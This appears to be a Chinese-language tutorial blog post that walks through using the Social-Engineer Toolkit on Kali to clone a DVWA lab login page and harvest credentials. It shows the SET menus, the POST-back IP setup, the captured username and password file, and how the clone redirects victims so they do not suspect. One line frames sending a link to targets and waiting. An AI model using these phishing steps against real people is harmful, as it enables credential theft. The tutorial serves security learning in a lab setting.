01 CA&SE:使用SET创建一个Password Harvester

Social engineering 攻击可以被认为是一种特殊的 client-side 攻击。在这种攻击中,攻击者要想办法说服被攻击者自己把攻击者想要的东西主动送出来

SET (Social-Engineer Toolkit) (https://www.trustedsec.com/social-engineer-toolkit/) 是一套被设计用于针对人类对象进行攻击的工具集,常见的攻击有:Spear-phishing, mass e-mails, 短信、免费无限热点、恶意网站、被感染的媒体文件等

这篇文章,使用 SET 创建一个Password Harvester Web页面,然后学习它的工作机制,了解攻击者是如何通它来窃取用户密码的

实践

在终端中,root用户下执行如下命令

setoolkit

在 set> 提示符,输入 1,敲回车

The Social-Engineer Toolkit is a product of TrustedSec.

             Visit: https://www.trustedsec.com

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 1

然后输入 2,敲回车

 The Social-Engineer Toolkit is a product of TrustedSec.

             Visit: https://www.trustedsec.com

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) Third Party Modules

  99) Return back to the main menu.

set> 2
The Web Attack module is  a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) Full Screen Attack Method
   8) HTA Attack Method

  99) Return to Main Menu

set:webattack>

从上面的菜单中,选择 3,Credential Harvester Attack Method

然后输入 2,选择 Site Cloner

The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.

 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
   
   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

set:webattack>2

这里我们写Kali机器所在的IP地址(192.168.150.151),一会儿密码收割器会发送用户输入的信息到这个地址

[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
[-] If you're using an external IP, use your external IP for this
set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.150.151

接下来,输入要克隆的网站URL,这里我们克隆靶机应用 dvwa 的登陆页面:
http://192.168.150.143/dvwa/login.php

[*] Cloning the website: http://192.168.150.143/dvwa/login.php
[*] This could take a little bit...

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] Apache is set to ON - everything will be placed in your web root directory of apache.
[*] Files will be written out to the root directory of apache.
[*] ALL files are within your Apache directory since you specified it to ON.
Apache webserver is set to ON. Copying over PHP file to the website.
Please note that all output from the harvester will be found under apache_dir/harvester_date.txt
Feel free to customize post.php in the /var/www/html directory
[*] All files have been copied to /var/www/html
{Press return to continue}

克隆过程结束后,SET会询问你是否开启 Apache 服务,选择开启,并点击回车

下面,测试页面,访问:http://192.168.150.151


Paste_Image.png

这里我们会访问到一个克隆出的页面

现在,在这个页面输入登录用户名和密码,点击 Login,会发现页面接着就跳转到真实的登陆页面了

下面,打开Kali的终端,跳转到 havester 文件的保存目录,默认是: /var/www/html

会发现存在文件: harvester_{date and time}.txt

打开文件内容,会发现里面存了刚刚输入的用户名和密码

# cat harvester_{data and time}.txt 
Array
(
    [username] => admin
    [password] => admin
    [Login] => Login
)

我们只需要给目标发一个访问我们假登陆页面的链接,等着他们山沟就可以了。

总结

SET 克隆站点后创建了三个文件,第一个,index.html,里面包含原网页的内容和登陆表单,仔细查看index.html(由SET创建,默认存放在Kali测试机的/var/www/html目录中)的代码,会发现如下代码


Username:
Password:


提交后,用户名和密码被发送到了192.168.150.151上的post.php(Kali测试机),这是 SET 创建的第二个文件。这个文件读取POST请求,并写入到文件harvester_{date and time}.txt。第三个文件就是用来存储用户数据的了。数据写入文件后, 标签跳转到原始登陆页面,如此一来,用户以为自己输错了用户名和密码,不会起疑心。

 

你可能感兴趣的:(01 CA&SE:使用SET创建一个Password Harvester)